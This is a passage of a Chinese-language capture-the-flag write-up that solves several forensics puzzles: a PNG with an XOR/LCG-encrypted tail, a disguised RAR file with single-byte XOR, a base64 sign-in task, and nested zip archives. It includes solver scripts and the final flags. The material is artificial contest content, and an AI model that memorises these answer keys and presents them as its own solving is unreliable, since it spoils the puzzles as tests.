    data = Path(path).read_bytes()
    if not data.startswith(PNG_SIGNATURE):
        raise ValueError(f&quot;{path} is not a PNG file&quot;)

    pos = len(PNG_SIGNATURE)
    while pos + 12 &amp;lt;= len(data):
        (length,) = struct.unpack(&quot;&amp;gt;I&quot;, data[pos:pos + 4])
        chunk_type = data[pos + 4:pos + 8]

        end = pos + 8 + length + 4  # type(4)+data(N)+crc(4) 都已在 length 之外
        if end &amp;gt; len(data):
            raise ValueError(
                f&quot;chunk at offset {pos} ({chunk_type!r}) overruns file&quot;
            )

        pos = end
        if chunk_type == b&quot;IEND&quot;:
            return data[pos:]

    raise ValueError(&quot;IEND chunk not found&quot;)

def lcg_keystream(seed: int) -&amp;gt; Iterator[int]:

    x = seed &amp;amp; 0xFFFFFFFF
    while True:
        x = (LCG_MUL * x + LCG_ADD) % LCG_MOD
        yield x &amp;amp; 0xFF

def xor_with_lcg(data: bytes, seed: int) -&amp;gt; bytes:
    ks = lcg_keystream(seed)
    return bytes(b ^ next(ks) for b in data)

def base62_decode(s: str) -&amp;gt; bytes:
   
    n = 0
    for ch in s:
        try:
            n = n * 62 + B62_INDEX[ch]
        except KeyError:
            raise ValueError(f&quot;invalid base62 char: {ch!r}&quot;)
    if n == 0:
        return b&quot;\x00&quot;
    return n.to_bytes((n.bit_length() + 7) // 8, &quot;big&quot;)

def solve(png_path: str | Path) -&amp;gt; str:
    tail = extract_after_iend(png_path)
    if len(tail) &amp;lt; 8:
        raise ValueError(f&quot;appended payload too short: {len(tail)} bytes&quot;)

    seed = int.from_bytes(tail[:8], &quot;big&quot;)
    cipher = tail[8:]

    middle_bytes = xor_with_lcg(cipher, seed).rstrip(b&quot;\x00&quot;)
    middle = middle_bytes.decode(&quot;ascii&quot;)
    flag = base62_decode(middle).decode(&quot;utf-8&quot;)

    print(f&quot;[+] file        : {png_path}&quot;)
    print(f&quot;[+] tail length : {len(tail)}&quot;)
    print(f&quot;[+] seed (raw)  : {tail[:8].hex()}&quot;)
    print(f&quot;[+] seed (eff.) : 0x{seed &amp;amp; 0xFFFFFFFF:08x}&quot;)
    print(f&quot;[+] cipher hex  : {cipher.hex()}&quot;)
    print(f&quot;[+] middle b62  : {middle}&quot;)
    print(f&quot;[+] flag        : {flag}&quot;)
    return flag

if __name__ == &quot;__main__&quot;:
    target = sys.argv[1] if len(sys.argv) &amp;gt; 1 else 
    solve(target)

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-64.png&quot; alt=&quot;Figure 64&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;幻影&lt;/h2&gt;
&lt;h3&gt;题目截图&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-65.png&quot; alt=&quot;Figure 65&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;解题思路&lt;/h3&gt;
&lt;p&gt;题目给的是一个bin文件&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-66.png&quot; alt=&quot;Figure 66&quot; /&gt;&lt;/p&gt;
&lt;p&gt;是 RAR 文件头，但实际是个伪装的文本文件，里面包含提示 BASE64 PLUS XOR、假 flag、和真正的 base64 数据&lt;/p&gt;
&lt;p&gt;把 base64 解码后的前 5 字节和 flag{ 异或一下：&lt;/p&gt;
&lt;p&gt;密文前5字节 = 0a 00 0d 0b 17&lt;/p&gt;
&lt;p&gt;明文前5字节 = 66 6c 61 67 7b   (&apos;f&apos;,&apos;l&apos;,&apos;a&apos;,&apos;g&apos;,&apos;{&apos;)&lt;/p&gt;
&lt;p&gt;异或结果   = 6c 6c 6c 6c 6c   (&apos;l&apos;,&apos;l&apos;,&apos;l&apos;,&apos;l&apos;,&apos;l&apos;)&lt;/p&gt;
&lt;p&gt;说明 key 就是单字节 0x6c，循环异或整个密文&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;解题脚本&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import base64

with open(&apos;data.bin&apos;, &apos;rb&apos;) as f:
    raw = f.read()

b64 = raw.split(b&apos;\n&apos;)[-1].strip()

cipher = base64.b64decode(b64)
known = b&apos;flag{&apos;
key = bytes(c ^ p for c, p in zip(cipher, known))
print(&apos;[*] recovered key bytes:&apos;, key)

xor_key = key[0]
flag = bytes(b ^ xor_key for b in cipher)
print(&apos;[+] flag:&apos;, flag.decode())

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-67.png&quot; alt=&quot;Figure 67&quot; /&gt;&lt;/p&gt;
&lt;p&gt;flag{2fdb21c8-b864-49d0-ac73-c4bc51e7e87f}&lt;/p&gt;
&lt;h2&gt;签到题-损坏的压缩包&lt;/h2&gt;
&lt;h3&gt;题目截图&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-68.png&quot; alt=&quot;Figure 68&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;解题思路&lt;/h3&gt;
&lt;p&gt;拿到附件后，首先查看压缩包内容，发现压缩包中只有一个文件：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;data.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;解压文件：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;unzip archive_04.zip
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;查看 &lt;code&gt;data\.txt&lt;/code&gt; 内容：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cat data.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;得到如下字符串：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;bWdnbA==
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;尝试进行 Base64 解码：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-69.png&quot; alt=&quot;Figure 69&quot; /&gt;&lt;/p&gt;
&lt;p&gt;解码结果为：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mggl
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-70.png&quot; alt=&quot;Figure 70&quot; /&gt;&lt;/p&gt;
&lt;p&gt;所以flag就是&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;flag{mggl}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;迷宫&lt;/h2&gt;
&lt;h3&gt;题目截图&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-71.png&quot; alt=&quot;Figure 71&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;解题思路&lt;/h3&gt;
&lt;p&gt;题目入口只有 layer1/data2.zip。但目录树有几个明显的&quot;姿势&quot;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;maze_01/layer1/
  ├── data2.zip                                ← 入口
  └── data2/
      └── secret3/
          ├── hidden4.zip                 ← 第二层 zip
          └── hidden4/
              └── .config/user/backup5/
                  └── vault.bin                 ← 终点
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;三个直觉信号:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;目录命名:layer/data/secret/hidden/backup + 自增数字 1→2→3→4→5,纯迷宫氛围,本身没含义。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;.config/user/:伪装成&quot;配置目录&quot;,误导你以为是普通文件。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;zip 套 zip:data2.zip 里只有 secret3/hidden4.zip,告诉你入口只读 .zip 即可,目录树可以忽略。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;010editor打开bin文件，46 字节,纯可见 ASCII&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-72.png&quot; alt=&quot;Figure 72&quot; /&gt;&lt;/p&gt;
&lt;p&gt;去掉尾巴6d后直接base64&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-73.png&quot; alt=&quot;Figure 73&quot; /&gt;&lt;/p&gt;
&lt;p&gt;flag{83228b2031aa650acd1f278704e74c31}&lt;/p&gt;
</content:encoded></item></channel></rss>